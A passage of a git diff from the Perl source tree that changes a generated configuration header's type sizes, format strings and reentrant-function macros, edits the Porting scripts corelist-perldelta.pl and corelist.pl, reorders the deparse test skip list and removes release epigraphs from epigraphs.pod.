NV_OVERFLOWS_INTEGERS_AT: + * This symbol gives the largest integer value that NVs can hold. This + * value + 1.0 cannot be stored accurately. It is expressed as constant + * floating point expression to reduce the chance of decimal/binary + * conversion issues. If it can not be determined, the value 0 is given. */ -/* READDIR64_R_PROTO: - * This symbol encodes the prototype of readdir64_r. - * It is zero if d_readdir64_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_readdir64_r - * is defined. +/* NV_ZERO_IS_ALLBITS_ZERO: + * This symbol, if defined, indicates that a variable of type NVTYPE + * stores 0.0 in memory as all bits zero. */ -/*#define HAS_READDIR64_R / **/ -#define READDIR64_R_PROTO 0 /**/ +#define IVTYPE long long /**/ +#define UVTYPE unsigned long long /**/ +#define I8TYPE signed char /**/ +#define U8TYPE unsigned char /**/ +#define I16TYPE short /**/ +#define U16TYPE unsigned short /**/ +#define I32TYPE long /**/ +#define U32TYPE unsigned long /**/ +#ifdef HAS_QUAD +#define I64TYPE long long /**/ +#define U64TYPE unsigned long long /**/ +#endif +#define NVTYPE long double /**/ +#define IVSIZE 8 /**/ +#define UVSIZE 8 /**/ +#define I8SIZE 1 /**/ +#define U8SIZE 1 /**/ +#define I16SIZE 2 /**/ +#define U16SIZE 2 /**/ +#define I32SIZE 4 /**/ +#define U32SIZE 4 /**/ +#ifdef HAS_QUAD +#define I64SIZE 8 /**/ +#define U64SIZE 8 /**/ +#endif +#define NVSIZE 12 /**/ +#define NV_PRESERVES_UV +#define NV_PRESERVES_UV_BITS 64 +#define NV_OVERFLOWS_INTEGERS_AT 256.0*256.0*256.0*256.0*256.0*256.0*256.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0 +#define NV_ZERO_IS_ALLBITS_ZERO +#if UVSIZE == 8 +# ifdef BYTEORDER +# if BYTEORDER == 0x1234 +# undef BYTEORDER +# define BYTEORDER 0x12345678 +# else +# if BYTEORDER == 0x4321 +# undef BYTEORDER +# define BYTEORDER 0x87654321 +# endif +# endif +# endif +#endif -/* HAS_READDIR_R: - * This symbol, if defined, indicates that the readdir_r routine - * is available to readdir re-entrantly. +/* IVdf: + * This symbol defines the format string used for printing a Perl IV + * as a signed decimal integer. */ -/* READDIR_R_PROTO: - * This symbol encodes the prototype of readdir_r. - * It is zero if d_readdir_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_readdir_r - * is defined. +/* UVuf: + * This symbol defines the format string used for printing a Perl UV + * as an unsigned decimal integer. */ -/*#define HAS_READDIR_R / **/ -#define READDIR_R_PROTO 0 /**/ - -/* HAS_SETGRENT_R: - * This symbol, if defined, indicates that the setgrent_r routine - * is available to setgrent re-entrantly. +/* UVof: + * This symbol defines the format string used for printing a Perl UV + * as an unsigned octal integer. */ -/* SETGRENT_R_PROTO: - * This symbol encodes the prototype of setgrent_r. - * It is zero if d_setgrent_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_setgrent_r - * is defined. +/* UVxf: + * This symbol defines the format string used for printing a Perl UV + * as an unsigned hexadecimal integer in lowercase abcdef. */ -/*#define HAS_SETGRENT_R / **/ -#define SETGRENT_R_PROTO 0 /**/ - -/* HAS_SETHOSTENT_R: - * This symbol, if defined, indicates that the sethostent_r routine - * is available to sethostent re-entrantly. +/* UVXf: + * This symbol defines the format string used for printing a Perl UV + * as an unsigned hexadecimal integer in uppercase ABCDEF. */ -/* SETHOSTENT_R_PROTO: - * This symbol encodes the prototype of sethostent_r. - * It is zero if d_sethostent_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_sethostent_r - * is defined. +/* NVef: + * This symbol defines the format string used for printing a Perl NV + * using %e-ish floating point format. */ -/*#define HAS_SETHOSTENT_R / **/ -#define SETHOSTENT_R_PROTO 0 /**/ +/* NVff: + * This symbol defines the format string used for printing a Perl NV + * using %f-ish floating point format. + */ +/* NVgf: + * This symbol defines the format string used for printing a Perl NV + * using %g-ish floating point format. + */ +#define IVdf "Ld" /**/ +#define UVuf "Lu" /**/ +#define UVof "Lo" /**/ +#define UVxf "Lx" /**/ +#define UVXf "LX" /**/ +#define NVef "Le" /**/ +#define NVff "Lf" /**/ +#define NVgf "Lg" /**/ -/* HAS_SETLOCALE_R: - * This symbol, if defined, indicates that the setlocale_r routine - * is available to setlocale re-entrantly. +/* SELECT_MIN_BITS: + * This symbol holds the minimum number of bits operated by select. + * That is, if you do select(n, ...), how many bits at least will be + * cleared in the masks if some activity is detected. Usually this + * is either n or 32*ceil(n/32), especially many little-endians do + * the latter. This is only useful if you have select(), naturally. */ -/* SETLOCALE_R_PROTO: - * This symbol encodes the prototype of setlocale_r. - * It is zero if d_setlocale_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_setlocale_r - * is defined. +#define SELECT_MIN_BITS 32 /**/ + +/* STARTPERL: + * This variable contains the string to put in front of a perl + * script to make sure (one hopes) that it runs with perl and not + * some shell. */ -/*#define HAS_SETLOCALE_R / **/ -#define SETLOCALE_R_PROTO 0 /**/ +#define STARTPERL "#!/pro/bin/perl5.26.2" /**/ -/* HAS_SETNETENT_R: - * This symbol, if defined, indicates that the setnetent_r routine - * is available to setnetent re-entrantly. +/* HAS_STDIO_STREAM_ARRAY: + * This symbol, if defined, tells that there is an array + * holding the stdio streams. */ -/* SETNETENT_R_PROTO: - * This symbol encodes the prototype of setnetent_r. - * It is zero if d_setnetent_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_setnetent_r - * is defined. +/* STDIO_STREAM_ARRAY: + * This symbol tells the name of the array holding the stdio streams. + * Usual values include _iob, __iob, and __sF. */ -/*#define HAS_SETNETENT_R / **/ -#define SETNETENT_R_PROTO 0 /**/ +/*#define HAS_STDIO_STREAM_ARRAY / **/ +#ifdef HAS_STDIO_STREAM_ARRAY +#define STDIO_STREAM_ARRAY +#endif -/* HAS_SETPROTOENT_R: - * This symbol, if defined, indicates that the setprotoent_r routine - * is available to setprotoent re-entrantly. +/* GMTIME_MAX: + * This symbol contains the maximum value for the time_t offset that + * the system function gmtime () accepts, and defaults to 0 + */ +/* GMTIME_MIN: + * This symbol contains the minimum value for the time_t offset that + * the system function gmtime () accepts, and defaults to 0 */ -/* SETPROTOENT_R_PROTO: - * This symbol encodes the prototype of setprotoent_r. - * It is zero if d_setprotoent_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_setprotoent_r - * is defined. +/* LOCALTIME_MAX: + * This symbol contains the maximum value for the time_t offset that + * the system function localtime () accepts, and defaults to 0 */ -/*#define HAS_SETPROTOENT_R / **/ -#define SETPROTOENT_R_PROTO 0 /**/ +/* LOCALTIME_MIN: + * This symbol contains the minimum value for the time_t offset that + * the system function localtime () accepts, and defaults to 0 + */ +#define GMTIME_MAX 2147483647 /**/ +#define GMTIME_MIN -2147483648 /**/ +#define LOCALTIME_MAX 2147483647 /**/ +#define LOCALTIME_MIN -2147483648 /**/ -/* HAS_SETPWENT_R: - * This symbol, if defined, indicates that the setpwent_r routine - * is available to setpwent re-entrantly. +/* USE_64_BIT_INT: + * This symbol, if defined, indicates that 64-bit integers should + * be used when available. If not defined, the native integers + * will be employed (be they 32 or 64 bits). The minimal possible + * 64-bitness is used, just enough to get 64-bit integers into Perl. + * This may mean using for example "long longs", while your memory + * may still be limited to 2 gigabytes. */ -/* SETPWENT_R_PROTO: - * This symbol encodes the prototype of setpwent_r. - * It is zero if d_setpwent_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_setpwent_r - * is defined. +/* USE_64_BIT_ALL: + * This symbol, if defined, indicates that 64-bit integers should + * be used when available. If not defined, the native integers + * will be used (be they 32 or 64 bits). The maximal possible + * 64-bitness is employed: LP64 or ILP64, meaning that you will + * be able to use more than 2 gigabytes of memory. This mode is + * even more binary incompatible than USE_64_BIT_INT. You may not + * be able to run the resulting executable in a 32-bit CPU at all or + * you may need at least to reboot your OS to 64-bit mode. */ -/*#define HAS_SETPWENT_R / **/ -#define SETPWENT_R_PROTO 0 /**/ +#ifndef USE_64_BIT_INT +#define USE_64_BIT_INT /**/ +#endif +#ifndef USE_64_BIT_ALL +/*#define USE_64_BIT_ALL / **/ +#endif -/* HAS_SETSERVENT_R: - * This symbol, if defined, indicates that the setservent_r routine - * is available to setservent re-entrantly. - */ -/* SETSERVENT_R_PROTO: - * This symbol encodes the prototype of setservent_r. - * It is zero if d_setservent_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_setservent_r - * is defined. +/* USE_DTRACE: + * This symbol, if defined, indicates that Perl should + * be built with support for DTrace. */ -/*#define HAS_SETSERVENT_R / **/ -#define SETSERVENT_R_PROTO 0 /**/ +/*#define USE_DTRACE / **/ -/* HAS_SRAND48_R: - * This symbol, if defined, indicates that the srand48_r routine - * is available to srand48 re-entrantly. +/* USE_FAST_STDIO: + * This symbol, if defined, indicates that Perl should + * be built to use 'fast stdio'. + * Defaults to define in Perls 5.8 and earlier, to undef later. */ -/* SRAND48_R_PROTO: - * This symbol encodes the prototype of srand48_r. - * It is zero if d_srand48_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_srand48_r - * is defined. +#ifndef USE_FAST_STDIO +/*#define USE_FAST_STDIO / **/ +#endif + +/* USE_LARGE_FILES: + * This symbol, if defined, indicates that large file support + * should be used when available. */ -/*#define HAS_SRAND48_R / **/ -#define SRAND48_R_PROTO 0 /**/ +#ifndef USE_LARGE_FILES +#define USE_LARGE_FILES /**/ +#endif -/* HAS_SRANDOM_R: - * This symbol, if defined, indicates that the srandom_r routine - * is available to srandom re-entrantly. +/* USE_LONG_DOUBLE: + * This symbol, if defined, indicates that long doubles should + * be used when available. */ -/* SRANDOM_R_PROTO: - * This symbol encodes the prototype of srandom_r. - * It is zero if d_srandom_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_srandom_r - * is defined. +#ifndef USE_LONG_DOUBLE +#define USE_LONG_DOUBLE /**/ +#endif + +/* USE_MORE_BITS: + * This symbol, if defined, indicates that 64-bit interfaces and + * long doubles should be used when available. */ -/*#define HAS_SRANDOM_R / **/ -#define SRANDOM_R_PROTO 0 /**/ +#ifndef USE_MORE_BITS +/*#define USE_MORE_BITS / **/ +#endif -/* HAS_STRERROR_R: - * This symbol, if defined, indicates that the strerror_r routine - * is available to strerror re-entrantly. +/* MULTIPLICITY: + * This symbol, if defined, indicates that Perl should + * be built to use multiplicity. */ -/* STRERROR_R_PROTO: - * This symbol encodes the prototype of strerror_r. - * It is zero if d_strerror_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_strerror_r - * is defined. +#ifndef MULTIPLICITY +/*#define MULTIPLICITY / **/ +#endif + +/* USE_PERLIO: + * This symbol, if defined, indicates that the PerlIO abstraction should + * be used throughout. If not defined, stdio should be + * used in a fully backward compatible manner. */ -/*#define HAS_STRERROR_R / **/ -#define STRERROR_R_PROTO 0 /**/ +#ifndef USE_PERLIO +#define USE_PERLIO /**/ +#endif -/* HAS_STRTOLD_L: - * This symbol, if defined, indicates that the strtold_l routine is - * available to convert strings to long doubles. +/* USE_SOCKS: + * This symbol, if defined, indicates that Perl should + * be built to use socks. */ -#define HAS_STRTOLD_L /**/ +#ifndef USE_SOCKS +/*#define USE_SOCKS / **/ +#endif -/* HAS_TMPNAM_R: - * This symbol, if defined, indicates that the tmpnam_r routine - * is available to tmpnam re-entrantly. +/* HAS_DRAND48_PROTO: + * This symbol, if defined, indicates that the system provides + * a prototype for the drand48() function. Otherwise, it is up + * to the program to supply one. A good guess is + * extern double drand48(void); */ -/* TMPNAM_R_PROTO: - * This symbol encodes the prototype of tmpnam_r. - * It is zero if d_tmpnam_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_tmpnam_r - * is defined. +#define HAS_DRAND48_PROTO /**/ + +/* HAS_GETHOST_PROTOS: + * This symbol, if defined, indicates that includes + * prototypes for gethostent(), gethostbyname(), and + * gethostbyaddr(). Otherwise, it is up to the program to guess + * them. See netdbtype.U for probing for various Netdb_xxx_t types. */ -/*#define HAS_TMPNAM_R / **/ -#define TMPNAM_R_PROTO 0 /**/ +#define HAS_GETHOST_PROTOS /**/ -/* HAS_TTYNAME_R: - * This symbol, if defined, indicates that the ttyname_r routine - * is available to ttyname re-entrantly. +/* HAS_GETNET_PROTOS: + * This symbol, if defined, indicates that includes + * prototypes for getnetent(), getnetbyname(), and + * getnetbyaddr(). Otherwise, it is up to the program to guess + * them. See netdbtype.U for probing for various Netdb_xxx_t types. */ -/* TTYNAME_R_PROTO: - * This symbol encodes the prototype of ttyname_r. - * It is zero if d_ttyname_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_ttyname_r - * is defined. +#define HAS_GETNET_PROTOS /**/ + +/* HAS_GETPROTO_PROTOS: + * This symbol, if defined, indicates that includes + * prototypes for getprotoent(), getprotobyname(), and + * getprotobyaddr(). Otherwise, it is up to the program to guess + * them. See netdbtype.U for probing for various Netdb_xxx_t types. */ -/*#define HAS_TTYNAME_R / **/ -#define TTYNAME_R_PROTO 0 /**/ +#define HAS_GETPROTO_PROTOS /**/ -/* I_MACH_CTHREADS: - * This symbol, if defined, indicates to the C program that it should - * include . +/* HAS_GETSERV_PROTOS: + * This symbol, if defined, indicates that includes + * prototypes for getservent(), getservbyname(), and + * getservbyaddr(). Otherwise, it is up to the program to guess + * them. See netdbtype.U for probing for various Netdb_xxx_t types. */ -/*#define I_MACH_CTHREADS / **/ +#define HAS_GETSERV_PROTOS /**/ -/* I_PTHREAD: - * This symbol, if defined, indicates to the C program that it should - * include . +/* HAS_LSEEK_PROTO: + * This symbol, if defined, indicates that the system provides + * a prototype for the lseek() function. Otherwise, it is up + * to the program to supply one. A good guess is + * extern off_t lseek(int, off_t, int); */ -#define I_PTHREAD /**/ +#define HAS_LSEEK_PROTO /**/ -/* USE_ITHREADS: - * This symbol, if defined, indicates that Perl should be built to - * use the interpreter-based threading implementation. +/* Netdb_host_t: + * This symbol holds the type used for the 1st argument + * to gethostbyaddr(). */ -/* USE_5005THREADS: - * This symbol, if defined, indicates that Perl should be built to - * use the 5.005-based threading implementation. - * Only valid up to 5.8.x. +/* Netdb_hlen_t: + * This symbol holds the type used for the 2nd argument + * to gethostbyaddr(). */ -/* OLD_PTHREADS_API: - * This symbol, if defined, indicates that Perl should - * be built to use the old draft POSIX threads API. +/* Netdb_name_t: + * This symbol holds the type used for the argument to + * gethostbyname(). */ -/* USE_REENTRANT_API: - * This symbol, if defined, indicates that Perl should - * try to use the various _r versions of library functions. - * This is extremely experimental. +/* Netdb_net_t: + * This symbol holds the type used for the 1st argument to + * getnetbyaddr(). */ -/*#define USE_5005THREADS / **/ -/*#define USE_ITHREADS / **/ -#if defined(USE_5005THREADS) && !defined(USE_ITHREADS) -#define USE_THREADS /* until src is revised*/ -#endif -/*#define OLD_PTHREADS_API / **/ -/*#define USE_REENTRANT_API / **/ +#define Netdb_host_t const void * /**/ +#define Netdb_hlen_t size_t /**/ +#define Netdb_name_t const char * /**/ +#define Netdb_net_t in_addr_t /**/ + +/* Select_fd_set_t: + * This symbol holds the type used for the 2nd, 3rd, and 4th + * arguments to select. Usually, this is 'fd_set *', if HAS_FD_SET + * is defined, and 'int *' otherwise. This is only useful if you + * have select(), of course. + */ +#define Select_fd_set_t fd_set * /**/ + +/* Sock_size_t: + * This symbol holds the type used for the size argument of + * various socket calls (just the base type, not the pointer-to). + */ +#define Sock_size_t socklen_t /**/ /* HAS_TIME: * This symbol, if defined, indicates that the time() routine exists. @@ -5132,10 +4518,10 @@ /* Gid_t_f: * This symbol defines the format string used for printing a Gid_t. */ -#define Gid_t_f "u" /**/ +#define Gid_t_f "lu" /**/ /* Gid_t_sign: - * This symbol holds the signedness of a Gid_t. + * This symbol holds the signedess of a Gid_t. * 1 for unsigned, -1 for signed. */ #define Gid_t_sign 1 /* GID sign */ @@ -5187,7 +4573,7 @@ /* Size_t_size: * This symbol holds the size of a Size_t in bytes. */ -#define Size_t_size 8 /**/ +#define Size_t_size 4 /* */ /* Size_t: * This symbol holds the type used to declare length parameters @@ -5200,10 +4586,10 @@ /* Uid_t_f: * This symbol defines the format string used for printing a Uid_t. */ -#define Uid_t_f "u" /**/ +#define Uid_t_f "lu" /**/ /* Uid_t_sign: - * This symbol holds the signedness of a Uid_t. + * This symbol holds the signedess of a Uid_t. * 1 for unsigned, -1 for signed. */ #define Uid_t_sign 1 /* UID sign */ diff --git a/Porting/corelist-perldelta.pl b/Porting/corelist-perldelta.pl index 5290d772385f..048d571b2a5a 100755 --- a/Porting/corelist-perldelta.pl +++ b/Porting/corelist-perldelta.pl @@ -162,16 +162,9 @@ sub corelist_delta { my %distToModules = ( 'IO-Compress' => [ { - 'name' => 'IO-Compress', + 'name' => 'IO-Compress', 'modification' => $getModifyType->( $changes{'IO::Compress::Base'} ), - 'data' => $changes{'IO::Compress::Base'} - } - ], - 'libnet' => [ - { - 'name' => 'libnet', - 'modification' => $getModifyType->( $changes{'Net::Cmd'} ), - 'data' => $changes{'Net::Cmd'} + 'data' => $changes{'IO::Compress::Base'} } ], 'Locale-Codes' => [ @@ -188,13 +181,6 @@ sub corelist_delta { 'data' => $changes{'Cwd'} } ], - 'podlators' => [ - { - 'name' => 'podlators', - 'modification' => $getModifyType->( $changes{'Pod::Text'} ), - 'data' => $changes{'Pod::Text'} - } - ], 'Scalar-List-Utils' => [ { 'name' => 'List::Util', @@ -205,11 +191,6 @@ sub corelist_delta { 'name' => 'Scalar::Util', 'modification' => $getModifyType->( $changes{'Scalar::Util'} ), 'data' => $changes{'Scalar::Util'} - }, - { - 'name' => 'Sub::Util', - 'modification' => $getModifyType->( $changes{'Sub::Util'} ), - 'data' => $changes{'Sub::Util'} } ], 'Text-Tabs+Wrap' => [ @@ -289,7 +270,7 @@ sub do_update_existing { my ( $existing, $old, $new ) = @_; my ( $added, $removed, $updated, $manuallyCheck ) = corelist_delta( $old => $new ); - if (@{$manuallyCheck}) { + if ($manuallyCheck) { print "It cannot be determined whether the following distributions have changed.\n"; print "Please check and list accordingly:\n"; say "\t* $_" for sort @{$manuallyCheck}; diff --git a/Porting/corelist.pl b/Porting/corelist.pl index ad5a4ad06d44..ce74ed42c8d5 100755 --- a/Porting/corelist.pl +++ b/Porting/corelist.pl @@ -98,7 +98,6 @@ sub { /(\.pm|_pm\.PL)$/ or return; /PPPort\.pm$/ and return; - /__Storable__\.pm$/ and return; my $module = $File::Find::name; $module =~ /\b(demo|t|private|corpus)\b/ and return; # demo or test modules my $version = MM->parse_version($_); diff --git a/Porting/deparse-skips.txt b/Porting/deparse-skips.txt index 48ad07f7aa0a..efac18fb0b5a 100644 --- a/Porting/deparse-skips.txt +++ b/Porting/deparse-skips.txt @@ -31,79 +31,31 @@ __DEPARSE_FAILURES__ -base/lex.t # checks regexp stringification -comp/final_line_num.t # tests syntax error after BEGIN block -comp/fold.t # mutability of folded constants -comp/parser.t # crazy #line directives ==> shell syntax errors -mro/basic_01_c3_utf8.t -mro/basic_01_dfs_utf8.t -mro/complex_c3_utf8.t -mro/isarev.t -mro/isarev_utf8.t -op/attrhand.t # Custom attrs ignored; also AH provides none -op/caller.t -op/each.t # utf8ness of deparsed strings -op/goto.t -op/gv.t # glob copy constants -op/hexfp.t -op/index.t -op/join.t # mutability of folded constants -op/length.t # utf8ness of deparsed strings -op/lexsub.t -op/local.t -op/lvref.t -op/not.t -op/overload_integer.t -op/override.t -op/pack.t -op/postfixderef.t -op/range.t -op/readline.t -op/srand.t -op/sub_lval.t -op/sub.t -op/switch.t -op/symbolcache.t -op/taint.t -op/vec.t -op/warn.t -op/write.t -porting/globvar.t -re/overload.t # [perl #123385] %^H output -re/pat_advanced.t # [perl #123417] -re/pat_rt_report.t # malformed utf8 constant; also /\c@/ -> /\c\@/ -re/pat.t # [perl #90590] -re/regexp_unicode_prop.t -re/regex_sets.t -re/reg_fold.t # [perl #123385] %^H output -re/rxcode.t # checks regexp stringification -re/subst.t -run/switchd-78586.t # -I on #! line is not deparsed -run/switchI.t # -I on #! line is not deparsed -uni/attrs.t -uni/bless.t -uni/gv.t -uni/labels.t -uni/lex_utf8.t -uni/method.t -uni/package.t -uni/parser.t -uni/readline.t -uni/select.t -uni/stash.t -uni/tie.t -uni/universal.t -uni/variables.t -../cpan/Archive-Tar/t/03_file.t # constant sub ref: FOO->() +../cpan/Scalar-List-Utils/t/proto.t +../cpan/Term-ANSIColor/t/taint/basic.t +../cpan/autodie/t/internal.t +../cpan/AutoLoader/t/01AutoLoader.t +../cpan/CGI/t/utf8.t +../cpan/ExtUtils-MakeMaker/t/xs.t +../cpan/File-Path/t/taint.t +../cpan/Module-Build/t/manifypods_with_utf8.t +../cpan/Socket/t/sockaddr.t +../cpan/Term-ANSIColor/t/taint.t +../cpan/Test-Simple/t/Builder/carp.t +../cpan/Test-Simple/t/fail-more.t +../cpan/Test-Simple/t/is_deeply_fail.t +../cpan/Test-Simple/t/plan.t +../cpan/Test-Simple/t/plan_bad.t +../cpan/Test-Simple/t/subtest/line_numbers.t +../cpan/Test-Simple/t/subtest/predicate.t +../cpan/autodie/t/00-load.t ../cpan/autodie/t/autodie.t -../cpan/autodie/t/basic_exceptions.t -../cpan/autodie/t/binmode.t ../cpan/autodie/t/blog_hints.t ../cpan/autodie/t/caller.t ../cpan/autodie/t/chmod.t ../cpan/autodie/t/chown.t -../cpan/autodie/t/context_lexical.t ../cpan/autodie/t/context.t +../cpan/autodie/t/context_lexical.t ../cpan/autodie/t/crickey.t ../cpan/autodie/t/dbmopen.t ../cpan/autodie/t/eval_error.t @@ -111,82 +63,80 @@ uni/variables.t ../cpan/autodie/t/exceptions.t ../cpan/autodie/t/exec.t ../cpan/autodie/t/filehandles.t -../cpan/autodie/t/fileno.t +../cpan/autodie/t/hints.t ../cpan/autodie/t/hints_insist.t ../cpan/autodie/t/hints_pod_examples.t ../cpan/autodie/t/hints_provider_does.t ../cpan/autodie/t/hints_provider_easy_does_it.t ../cpan/autodie/t/hints_provider_isa.t -../cpan/autodie/t/hints.t -../cpan/autodie/t/internal.t ../cpan/autodie/t/kill.t ../cpan/autodie/t/lethal.t -../cpan/autodie/t/mkdir.t ../cpan/autodie/t/open.t -../cpan/autodie/t/read.t ../cpan/autodie/t/recv.t ../cpan/autodie/t/repeat.t ../cpan/autodie/t/scope_leak.t ../cpan/autodie/t/sysopen.t -../cpan/autodie/t/truncate.t -../cpan/autodie/t/unlink.t ../cpan/autodie/t/user-context.t ../cpan/autodie/t/usersub.t ../cpan/autodie/t/utf8_open.t ../cpan/autodie/t/utime.t ../cpan/autodie/t/version_tag.t -../cpan/AutoLoader/t/01AutoLoader.t -../cpan/bignum/t/big_e_pi.t -../cpan/bignum/t/bigexp.t -../cpan/bignum/t/bigint.t -../cpan/bignum/t/bignum.t -../cpan/bignum/t/bigrat.t -../cpan/bignum/t/bii_e_pi.t -../cpan/bignum/t/biinfnan.t -../cpan/bignum/t/bir_e_pi.t -../cpan/bignum/t/bninfnan.t -../cpan/bignum/t/brinfnan.t -../cpan/bignum/t/in_effect.t -../cpan/bignum/t/option_a.t -../cpan/bignum/t/option_l.t -../cpan/bignum/t/option_p.t -../cpan/bignum/t/overrides.t -../cpan/bignum/t/ratopt_a.t -../cpan/bignum/t/scope_f.t -../cpan/bignum/t/scope_i.t -../cpan/bignum/t/scope_r.t -../cpan/Math-BigInt/t/constant.t -../cpan/Math-BigInt/t/const_mbf.t -../cpan/Module-Metadata/t/metadata.t -../cpan/Scalar-List-Utils/t/subname.t -../cpan/Scalar-List-Utils/t/uniq.t -../cpan/Term-Cap/test.pl -../cpan/Test-Simple/t/Legacy/Builder/carp.t -../cpan/Test-Simple/t/Legacy/fail-more.t -../cpan/Test-Simple/t/Legacy/is_deeply_fail.t -../cpan/Test-Simple/t/Legacy/no_plan.t # hard-coded line numbers -../cpan/Test-Simple/t/Legacy/plan_bad.t -../cpan/Test-Simple/t/Legacy/plan.t -../cpan/Test-Simple/t/Legacy/subtest/line_numbers.t -../cpan/Test-Simple/t/Legacy/subtest/predicate.t -../cpan/Test-Simple/t/regression/684-nested_todo_diag.t -../cpan/Test-Simple/t/Test2/behavior/run_subtest_inherit.t +../cpan/podlators/t/basic.t ../dist/Attribute-Handlers/t/constants.t ../dist/Attribute-Handlers/t/data_convert.t ../dist/Attribute-Handlers/t/linerep.t ../dist/Attribute-Handlers/t/multi.t ../dist/Carp/t/Carp.t -../dist/constant/t/constant.t ../dist/Data-Dumper/t/dumper.t -../dist/Data-Dumper/t/trailing_comma.t ../dist/Exporter/t/Exporter.t ../dist/Filter-Simple/t/data.t +../dist/IO/t/io_file_export.t +../dist/IO/t/io_multihomed.t +../dist/IO/t/io_sel.t +../dist/IO/t/io_udp.t +../dist/Locale-Maketext/t/01_about_verbose.t +../dist/Locale-Maketext/t/10_make.t +../dist/Locale-Maketext/t/20_get.t +../dist/Locale-Maketext/t/40_super.t +../dist/Locale-Maketext/t/50_super.t +../dist/Locale-Maketext/t/60_super.t +../dist/Locale-Maketext/t/70_fail_auto.t +../dist/Locale-Maketext/t/91_backslash.t +../dist/Math-BigInt/t/const_mbf.t +../dist/Math-BigInt/t/constant.t +../dist/PathTools/t/cwd.t +../dist/Storable/t/blessed.t ../dist/Storable/t/croak.t -../dist/threads/t/blocks.t +../dist/Thread-Queue/t/08_nothreads.t +../dist/bignum/t/big_e_pi.t +../dist/bignum/t/bigexp.t +../dist/bignum/t/bigint.t +../dist/bignum/t/bignum.t +../dist/bignum/t/bigrat.t +../dist/bignum/t/bii_e_pi.t +../dist/bignum/t/bir_e_pi.t +../dist/bignum/t/in_effect.t +../dist/bignum/t/option_a.t +../dist/bignum/t/option_l.t +../dist/bignum/t/option_p.t +../dist/bignum/t/overrides.t +../dist/bignum/t/ratopt_a.t +../dist/bignum/t/scope_f.t +../dist/bignum/t/scope_i.t +../dist/bignum/t/scope_r.t +../dist/constant/t/constant.t +../dist/threads/t/err.t +../dist/threads/t/exit.t +../dist/threads/t/kill2.t +../dist/threads/t/libc.t +../dist/threads/t/thread.t ../ext/B/t/b.t ../ext/B/t/optree_constants.t ../ext/B/t/optree_samples.t +../ext/B/t/xref.t ../ext/Devel-Peek/t/Peek.t +../ext/File-Glob/t/taint.t +../ext/Hash-Util/t/Util.t ../ext/IPC-Open3/t/IPC-Open2.t ../ext/IPC-Open3/t/IPC-Open3.t ../ext/XS-APItest/t/autoload.t @@ -195,13 +145,70 @@ uni/variables.t ../ext/XS-APItest/t/cleanup.t ../ext/XS-APItest/t/fetch_pad_names.t ../ext/XS-APItest/t/svpeek.t -../ext/XS-APItest/t/synthetic_scope.t -../lib/Config.t # Config_heavy.pl fns getting output -../lib/charnames.t -../lib/dumpvar.t +../lib/DB.t ../lib/English.t +../lib/File/Basename.t +../lib/charnames.t ../lib/overload.t - +base/lex.t # checks regexp stringification +comp/final_line_num.t # tests syntax error after BEGIN block +comp/fold.t # mutability of folded constants +comp/parser.t # crazy #line directives ==> shell syntax errors +mro/isarev.t +mro/isarev_utf8.t +op/attrhand.t # Custom attrs ignored; also AH provides none +op/attrs.t # [perl #70205] my attrs +op/caller.t +op/each.t # utf8ness of deparsed strings +op/getpid.t # [perl #70205] my attrs +op/goto.t +op/gv.t # glob copy constants +op/index.t +op/join.t # mutability of folded constants +op/length.t # utf8ness of deparsed strings +op/lexsub.t +op/local.t +op/not.t +op/overload_integer.t +op/override.t +op/pack.t +op/postfixderef.t +op/range.t +op/readline.t +op/srand.t +op/sub.t +op/sub_lval.t +op/switch.t +op/symbolcache.t +op/taint.t +op/vec.t +op/warn.t +op/write.t +porting/globvar.t +re/overload.t # [perl #123385] %^H output +re/pat.t # [perl #90590] +re/pat_advanced.t # [perl #123417] +re/pat_rt_report.t # malformed utf8 constant; also /\c@/ -> /\c\@/ +re/reg_fold.t # [perl #123385] %^H output +re/regex_sets.t +re/regexp_unicode_prop.t +re/rxcode.t # checks regexp stringification +re/subst.t +run/switchI.t # -I on #! line is not deparsed +run/switchd-78586.t # -I on #! line is not deparsed +uni/attrs.t +uni/bless.t +uni/gv.t +uni/labels.t +uni/lex_utf8.t +uni/method.t +uni/package.t +uni/parser.t +uni/readline.t +uni/select.t +uni/stash.t +uni/tie.t +uni/universal.t __DEPARSE_SKIPS__ diff --git a/Porting/epigraphs.pod b/Porting/epigraphs.pod index 931688a26035..a1dbdf8771f6 100644 --- a/Porting/epigraphs.pod +++ b/Porting/epigraphs.pod @@ -17,60 +17,6 @@ Consult your favorite dictionary for details. =head1 EPIGRAPHS -=head2 v5.28.0 - Martin Luther King, Jr., 1967 - -Announced on 2018-06-22 by Sawyer X - - When we look at modern man we have to face the fact that modern man - suffers from a kind of poverty of the spirit which stands in glaring - contrast with his scientific and technological abundance. We've learned - to fly the air as birds, we've learned to swim the seas as fish, yet we - haven't learned to walk the earth as brothers and sisters. - -=head2 v5.28.0-RC4 - Neil Gaiman, The Graveyard Book - -Announced on 2018-06-19 by Sawyer X - - You're alive, Bod. That means you have infinite potential. You can do - anything, make anything, dream anything. If you can change the world, - the world will change. Potential. Once you're dead, it's gone. Over. - You've made what you've made, dreamed your dream, written your name. - You may be buried here, you may even walk. But that potential is - finished.” - -=head2 v5.28.0-RC3 - Anthony Horowitz, Magpie Murders - -L - - These had been his plans. But if there was one thing that life had - taught him, it was the futility of making plans. Life had its own - agenda. - -=head2 v5.28.0-RC2 - Oliver Sacks, The Man Who Mistook His Wife For A Hat: And Other Clinical Tales - -L - - Had she not been of exceptional intelligence and literacy, with an - imagination filled and sustained, so to speak, by the images of - others, images conveyed by language, by the word, she might have - remained almost as helpless as a baby. - -=head2 